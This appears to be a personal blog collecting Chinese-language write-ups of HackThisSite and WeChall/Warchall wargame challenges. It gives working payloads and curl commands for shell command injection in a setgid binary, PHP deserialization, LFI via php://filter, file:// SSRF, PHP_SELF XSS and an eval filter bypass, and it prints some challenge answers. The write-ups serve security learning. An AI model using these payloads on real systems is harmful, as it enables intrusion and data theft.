Hello Navi

Tech, Security & Personal Notes

Challenge

Sam decided to make a music site. Unfortunately he does not understand Apache.

Sam 决定做一个音乐网站,可惜他不懂 Apache 配置。

页面上随机显示一句歌词,如 "Ghetto Gospel" is the best!,每次刷新会变。没有密码输入框,没有明显的交互元素。

Solution

这题考察的是 Apache 服务器配置知识,解题过程像一个探索任务。

Step 1 — 识别歌曲线索

多次刷新页面,歌曲会变化,包括:

  • "Ghetto Gospel" (2Pac ft. Elton John)
  • "Georgia" (Elton John)
  • 等等

搜索这些歌曲,全部是 Elton John 的作品。这暗示了目录结构。

Step 2 — 目录遍历

尝试拼出 Elton 的名字:访问 /missions/basic/11/e/,发现目录列表!继续往下走:

1
2
3
4
5
/missions/basic/11/e/
/missions/basic/11/e/l/
/missions/basic/11/e/l/t/
/missions/basic/11/e/l/t/o/
/missions/basic/11/e/l/t/o/n/ ← 最后一层,看起来是空的

Step 3 — 查看 .htaccess 文件

/e/l/t/o/n/ 目录看起来是空的,但在 Apache 中,.htaccess 文件可能被目录列表隐藏了。直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/.htaccess

内容:

1
2
3
4
5
IndexIgnore DaAnswer.* .htaccess

<Files .htaccess>
require all granted
</Files>
  • IndexIgnore:告诉 Apache 目录列表中不要显示 DaAnswer.*.htaccess
  • <Files .htaccess>:允许所有人访问 .htaccess(这是关键错误,应该禁止访问)

Step 4 — 访问 DaAnswer

既然 .htaccess 泄露了隐藏的文件名,直接访问:

1
https://www.hackthissite.org/missions/basic/11/e/l/t/o/n/DaAnswer

页面显示动态文本,如:

1
2
The answer is available!
Just look a little harder.

Step 5 — 提交答案

访问 /missions/basic/11/index.php(注意不是入口页面),会出现密码输入框。表单字段名是 answer,提交 available 即可过关。

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/11/index.php' \
--data-urlencode 'answer=available' \
'https://www.hackthissite.org/missions/basic/11/index.php'

核心知识点:

  1. Apache 的 IndexIgnore 只是不在目录列表中显示文件,文件本身仍然可以被直接访问
  2. .htaccess 文件应该禁止外部访问(Require all denied),否则会泄露目录配置信息
  3. 路径遍历 + 配置文件泄露是经典的 Apache 安全问题

Challenge

PHP 反序列化漏洞。页面显示多个源码文件,需要通过操控 serial_user cookie 触发 SERIAL_Solution::__wakeup() 调用 onChallengeSolved()

Solution

源码结构:

  • code.php: 读取 serial_user cookie,调用 unserialize(),然后用结果调用 getUsername()/getPassword()/getUserlevel()
  • SERIAL_Solution.php: __wakeup() 方法调用 onChallengeSolved()
  • SERIAL_User.php: 包含 username, password, userlevel 属性

核心漏洞: unserialize() 会实例化 cookie 中指定的类。如果反序列化 SERIAL_Solution 对象,__wakeup() 会自动触发。

Payload (设置为 serial_user cookie):

1
O:16:"SERIAL_Solution":0:{}

使用 curl 提交:

1
2
$ curl -b 'WC=<session>; serial_user=O%3A16%3A%22SERIAL_Solution%22%3A0%3A%7B%7D' \
'https://www.wechall.net/en/challenge/are_you_serial/index.php'

注意: __wakeup() 触发后,代码继续调用 getUsername() 等方法可能导致 fatal error。如果 curl 不生效,尝试通过浏览器 cookie 注入。

Challenge

This is the level10 mini challenge found in /home/level/10/ on the warchall box. You can view the source here. 这是 Warchall 服务器上的 Level 10 小挑战,目录在 /home/level/10/(当前服务器实际目录名为 /home/level/10_choose_your_path/),题目页面给出了源码。

题目程序 charp 会统计一个文件的平均每行字符数。源码核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#define BUFSIZE 256

int main(int argc, char *argv[])
{
FILE *fp;
char buf[BUFSIZE];
char *filename;
int lines, chars, cpl;

setregid(510,510); // set real and effective GID to level10

if (argc != 2) {
fprintf(stderr, "Usage: %s filename\n", argv[0]);
exit(EXIT_FAILURE);
}

filename = argv[1];

if (snprintf(buf, BUFSIZE, "/usr/bin/wc -l %s", filename) >= BUFSIZE) {
fprintf(stderr, "Filename %s is too long!\n", filename);
exit(EXIT_FAILURE);
}

fp = popen(buf, "r");
fscanf(fp, "%d", &lines);
pclose(fp);

snprintf(buf, BUFSIZE, "/usr/bin/wc -c %s", filename);
fp = popen(buf, "r");
fscanf(fp, "%d", &chars);
pclose(fp);

cpl = chars / lines;
printf("Chars per line is %d.\n", cpl);

return EXIT_SUCCESS;
}

目录里有两个关键文件:

1
2
3
4
$ ls -la /home/level/10_choose_your_path/
-rwxr-sr-x 1 level10 level10 16392 Jan 3 2023 charp
-rw-r--r-- 1 root level10 1303 Jan 3 2023 charp.c
-rw-rw---- 1 root level10 171 Jan 3 2023 solution.txt

solution.txt 对普通用户不可读,但 charp 有 setgid bit:执行时有效 group 变成 level10,所以它能读这个文件。

Solution

关键约束:

  • 程序确实用绝对路径 /usr/bin/wc,所以不能通过 PATH 劫持 wc
  • 但它把用户输入的 filename 直接拼进 shell 命令,再交给 popen() 执行。
  • popen() 等价于让 /bin/sh -c 执行字符串,因此 ;, |, #, redirection 都会被 shell 解析。

也就是说,这不是文件路径选择问题,而是 command injection。

程序第一次执行的命令形如:

1
/usr/bin/wc -l <filename>

如果我们把 <filename> 传成:

1
solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

实际命令会变成:

1
/usr/bin/wc -l solution.txt 1>&2; /bin/cat solution.txt 1>&2; #

解释:

  • solution.txt 作为正常参数,让 wc 不至于立刻失败。
  • 1>&2 把 stdout 重定向到 stderr。charp 会从 popen() 的 stdout 里读取数字;如果把注入命令的输出留在 stdout,可能干扰 fscanf()
  • ; /bin/cat solution.txt 1>&2 追加执行 cat,借助 setgid 权限读取答案,并输出到 stderr。
  • # 注释掉后面可能拼接出的残余命令片段。

Live 验证命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh -p 19198 <username>@warchall.net
$ cd /home/level/10_choose_your_path
$ ./charp "solution.txt 1>&2; /bin/cat solution.txt 1>&2; #"
8 solution.txt
#!/C:\windows\system32\ed

Congratulations hacker,

You have achieved what only a few achieve.
Kinda.

The flag or solution for this challenge is: <masked>
Cannot scan! Sorry!
171 solution.txt
#!/C:\windows\system32\ed
...

输出会出现两次,是因为程序先执行 wc -l,再执行 wc -c,两次 popen() 都会拼接同一个 filename,所以注入的 cat solution.txt 也被执行两次。

EpidermalGlance

Challenge

One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live LFI challenge that is hosted on it. Good Luck! Warchall 服务器上托管了更接近真实环境的 Web hacking 题目。这个挑战是 Live LFI。

WeChall 页面本身只给出入口和提交框,真正的目标站点是:

1
https://lfi.warchall.net/index.php

打开页面后可以看到语言切换链接:

1
2
<a href="index.php?lang=en"><img src="english.png" title="English" alt="EN" /></a>
<a href="index.php?lang=de"><img src="german.png" title="German" alt="DE" /></a>

关键点是 lang 参数。正常情况下它用于选择语言文件,但如果后端直接把它拼进 include,就可能变成 Local File Inclusion。

Solution

先做 baseline:

1
$ curl -s 'https://lfi.warchall.net/index.php?lang=en'

页面正常返回英文内容。然后测试 lang 是否能影响 include 目标。这里不需要 SSH,也不需要在服务器上找文件;直接利用 PHP stream wrapper 读取当前目录下的 solution.php 源码即可。

payload:

1
https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php

为什么用 php://filter

  • 直接访问 solution.php 只能看到它输出的 HTML,PHP 代码会被服务器执行,不会显示源码。
  • LFI 触发的是后端 include,如果包含 solution.php,里面的 PHP 仍然会执行,源码同样不可见。
  • php://filter/convert.base64-encode/resource=solution.php 会让 PHP 在读取文件时先把文件内容 base64 编码。这样 include 得到的是纯文本 base64,不会被当作 PHP 代码执行。

实际请求:

1
2
$ curl -s 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
PGh0bWw+Cjxib2R5Pgo8cHJlIHN0eWxlPSJjb2xvcjojMDAwOyI+dGVoIGZhbGcgc2kgbmFlciE8L3ByZT4K...

把开头连续的 base64 部分解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python3 - <<'PY'
import base64, re, urllib.request
url = 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php'
data = urllib.request.urlopen(url, timeout=10).read()
b64 = re.match(rb'[A-Za-z0-9+/=\r\n]+', data).group(0)
print(base64.b64decode(b64).decode())
PY
<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php # YOUR_TROPHY
return '******************'; # <-´ ?>
SteppinStones42Pie

Challenge

一个很短的 PHP/PCRE 正则训练。页面要求提交一个 username:它必须通过正则检查,但长度又要超过正则允许的范围。

核心逻辑可以简化成:

1
2
3
4
5
6
7
if (!preg_match('/^[a-zA-Z]{1,16}$/', $username)) {
die('invalid');
}

if (strlen($username) > 16) {
// solved
}

看起来是矛盾的:正则只允许 1 到 16 个英文字母,后面却要求 strlen($username) > 16

Solution

关键在 PCRE 里 $ 的语义。

在默认模式下,$ 不只匹配字符串真正结尾,也可以匹配「字符串末尾换行符之前的位置」。也就是说:

1
aaaaaaaaaaaaaaaa\n

这串内容有 16 个 a,后面跟一个换行符。

正则 /^[a-zA-Z]{1,16}$/ 匹配时:

  • ^[a-zA-Z]{1,16} 吃掉 16 个 a
  • $ 可以停在最后的 \n 前面。
  • 因此 preg_match() 判定通过。

但 PHP 的 strlen() 会真实计算字节数,换行也算 1 字节:

1
16 个 a + 1 个 \n = 17

于是同一个输入同时满足:

1
2
preg_match('/^[a-zA-Z]{1,16}$/', $username) === 1
strlen($username) > 16

用 curl 提交时要保留末尾的 literal newline,推荐交给 --data-urlencode

1
2
3
4
5
$ curl -sL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'username=aaaaaaaaaaaaaaaa\n' \
'https://www.wechall.net/challenge/training/regexmini/index.php'

Challenge

Z and Gizmore were thinking of a file-sharing company, Crappyshare, to collect the latest warez and earn money in one go. While gizmore was working with the designer on the xhtml/css stuff, Z implemented the upload script, and we got first results...but it seems to contain a vulnerability somewhere. Some crackers already managed to gather sensitive local files (solution.php) and broke into the server.

Crappyshare 是一个文件共享站,支持两种上传方式:直接上传文件,或通过 URL 远程拉取文件。目标是通过漏洞读取服务器本地的 solution.php

Solution

查看源码(index.php?show=code)发现 upload_please_by_url() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upload_please_by_url($url)
{
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) // 验证有 URL scheme
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.');
}
else
{
upload_please_thx($file_data); // 显示文件内容
}
}
}

关键漏洞:URL scheme 检查为 [a-z]{3,5}://,这意味着 file:// 协议没有被阻止。cURL 的 file:// 协议可以读取本地文件系统。直接用 file://solution.php 作为 URL 上传源:

1
2
$ curl -s -b 'WC=...' --data-urlencode 'url=file://solution.php' \
'https://www.wechall.net/challenge/crappyshare/crappyshare.php'

响应中包含 solution.php 的内容:

1
2
3
#########################
### ***************** ###
#########################

Summary

这个漏洞是典型的 SSRF(Server-Side Request Forgery)—— 服务端本应只允许 HTTP/HTTPS URL,但 Scheme 验证太宽松,允许了 file:// 协议。cURL 的 file:// 直接读取本地文件,绕过了所有访问控制。修复方案是只允许 https?:// 的 URL,并过滤掉 file://ftp:// 等内部协议。

ICaNSeEcLeArLyNoW

Challenge

这是一道 Research 类挑战,目标是找到 WeChall 管理员使用的隐藏 phpMyAdmin 页面。题面没有表单,也不需要提交密码;找到正确入口后访问即可判定。

页面底部藏了一行接近白色的提示文字(color:#fefefe,白底白字,查看 HTML 源码可见):

1
You don't need a hint, do you?

Solution

题名 PHP My Admin 本身就是提示。pma 是 phpMyAdmin 的常见缩写,所以直接尝试对应子域名:

1
https://pma.wechall.net/

访问该子域名会触发挑战检查。公开未登录访问也能看到命中提示,但不会记录账号进度:

1
2
3
4
5
6
7
8
$ curl -skL \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'
<html>
<body>
1:76:Your answer is correct. To keep track of your progress you need to register.
</body>
</html>

这里需要 -k / --insecure,因为站点返回的证书是 CN=www.wechall.net,SAN 里只有 wc2.wechall.netwechall.netwww.wechall.net,不包含 pma.wechall.net。浏览器访问时也会看到证书警告,继续访问即可。

带登录态复现时把 WC=... 换成自己的 cookie:

1
2
3
4
$ curl -skL \
-b 'WC=...' \
-H 'User-Agent: Mozilla/5.0' \
'https://pma.wechall.net/'

如果账号状态更新成功,最终以 /en/challsPHP My Adminwc_chall_solved_1 为准。

Challenge

This challenge is about researching the GWF3 codebase. I have put 2 passwords somewhere, but .... The first password is obvious and the second is very subversive. Both are near. Combine them without any separator.

需要研究 WeChall 的 GWF3 框架源码,找到两个隐藏的密码。

Solution

GWF3 源码在 GitHub:gizmore/gwf3

第一个密码("obvious"):

www/challenge/subversive/repeating/what_do_you_want_here.php 中,PHP 注释里藏着密码:

1
<?php /*InDaxIn*/ ?>

页面源码显示空引号,但查看原始 HTML 可以看到注释中的 InDaxIn

第二个密码("very subversive"):

www/challenge/subversive/history/install.php 的 git 历史中。当前版本:

1
$solution = '2bda2998d9b0ee197da142a0447f6725';  // MD5("wrong") — 红鲱鱼!

通过 git log 查看历史提交,原始密码是 NothingHereMoveAlong,后来被替换成了 MD5("wrong") 的哈希。

这就是为什么挑战叫 "Repeating History" —— 你必须重复/回溯 git 历史才能找到原始密码。

组合答案InDaxIn + NothingHereMoveAlong(无分隔符)

InDaxInNothingHereMoveAlong

Your mission is to inject alert(1); into this script, and make it popup a javascript alert.

目标是在页面里注入 alert(1);。现在这题不再依赖浏览器真实弹窗,而是检查 payload 后静默修补输出并判定结果。

Challenge

题目给了源码入口:index.php?highlight=christmas。页面上有一个 username 表单,直觉上像是要在用户名字段里做 XSS,但源码对 username 做了 htmlspecialchars()

1
2
3
4
5
6
7
if (isset($_POST['username']))
{
echo GWF_Box::box(sprintf(
"Well done %s, you entered your username. But this is <b>not</b> what you need to do.",
htmlspecialchars(Common::getPostString('username'))
));
}

所以 username 只是诱饵。题名是 Yourself PHP,真正要看的点是 $_SERVER['PHP_SELF']

Solution

关键代码在表单输出这里:

1
2
3
4
5
6
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
echo sprintf('<div>%s</div>', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;

$_SERVER['PHP_SELF'] 被直接塞进 HTML attribute:

1
<form action="..." method="post">

普通访问时,PHP_SELF 只是脚本路径:

1
/challenge/yourself_php/index.php

但 PHP / Web server 通常会把 index.php 后面的 path info 也放进 PHP_SELF。访问下面这种路径时:

1
/challenge/yourself_php/index.php/anything

模板里的 %s 会变成:

1
<form action="/challenge/yourself_php/index.php/anything" method="post">

于是攻击面不在 POST body,而在 URL path info。只要让 path info 先闭合 action 的双引号,再闭合 <form> 起始标签,就能插入脚本节点:

1
/"><script>alert(1);</script>

拼回模板后,旧版漏洞会生成类似这样的 HTML:

1
<form action="/challenge/yourself_php/index.php/"><script>alert(1);</script>" method="post">

浏览器解析时:

  1. " 结束 action 属性。
  2. > 结束 <form> 起始标签。
  3. <script>alert(1);</script> 成为真正的脚本节点。
  4. 后面的 " method="post"> 只是残留文本,不影响前面的 script 执行。

当前 WeChall 源码已经在检查后静默修补了这个输入,注释里写的是:

1
2
3
4
5
# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}

这里的 htmlsepcialchars 是源码注释里的原拼写。也就是说,现在的题目更像 simulated challenge:phpself_checkit() 检查静态 payload,命中后判定正确;不需要真的让当前页面弹窗。

实际访问时用 URL-encoded payload,避免 shell、URL 和 HTML 对 <>" 的处理差异:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/yourself_php/index.php/%22%3E%3Cscript%3Ealert(1);%3C/script%3E' \
| grep -o 'Your answer is correct'
Your answer is correct

如果带登录态访问同一个 URL,命中后会把挑战记到当前账号;最终以 /en/challsYourself PHPwc_chall_solved_1 为准。

Challenge

space 的 PHP eval 小挑战。目标是在 13 字节以内构造一个表达式,让执行后的 $spaceone 严格等于字符串 1337

页面给出完整源码,核心逻辑是读取 GET 参数 eval,删除一批字符,限制长度,然后拼进 eval()

1
2
3
4
5
6
7
8
9
10
11
$f = Common::getGetString('eval');
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);

if ((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!');
}

eval("\$spaceone = $f");

return ($spaceone === '1337');

最后是 strict comparison,所以直接提交 1337 不行:

1
$spaceone = 1337;

这样得到的是 integer 1337,不是 string "1337"

Solution

约束很紧:

  • 引号 " / ' 会被删除,不能直接写字符串。
  • $ 会被删除,不能引用变量。
  • . 会被删除,不能拼接字符串。
  • ( / ) 会被删除,基本不能调用函数。
  • > 会被删除,但 < 没有被删。
  • 长度最多 13 字节,且不能包含 return

问题变成:PHP 有没有不需要引号的字符串字面量?答案是 heredoc。

1
2
3
<<<a
1337
a;

这里用一字符标识符 a,字节数刚好卡进限制:

1
2
<<<a\n1337\na;\n
4 + 1 + 4 + 1 + 2 + 1 = 13

payload 只用到 <、字母、数字、分号和换行,都不会被过滤。进入 eval() 后等价于:

1
2
3
$spaceone = <<<a
1337
a;

heredoc 表达式的值是字符串 "1337",因此能通过 $spaceone === '1337'

用 curl 提交时让 --data-urlencode 处理换行,避免手写 %0A 出错:

1
2
3
4
5
6
$ curl -sL -G \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'eval=<<<a\n1337\na;\n' \
'https://www.wechall.net/challenge/space/php0819/index.php' \
| grep -o 'Your answer is correct'
Your answer is correct

等价的 URL 参数是:

1
eval=%3C%3C%3Ca%0A1337%0Aa%3B%0A
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE